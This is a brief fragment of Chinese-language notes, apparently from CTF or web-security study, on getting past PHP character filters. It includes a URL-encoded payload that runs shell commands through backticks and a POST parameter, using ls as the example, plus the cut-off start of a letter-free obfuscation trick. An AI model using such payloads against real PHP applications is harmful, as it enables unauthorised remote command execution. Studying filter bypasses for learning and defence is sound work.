过滤字符

括号

echo%20`$_POST[1]`;&1=ls

数字和字母

参考文章

$_=[].'';
$_=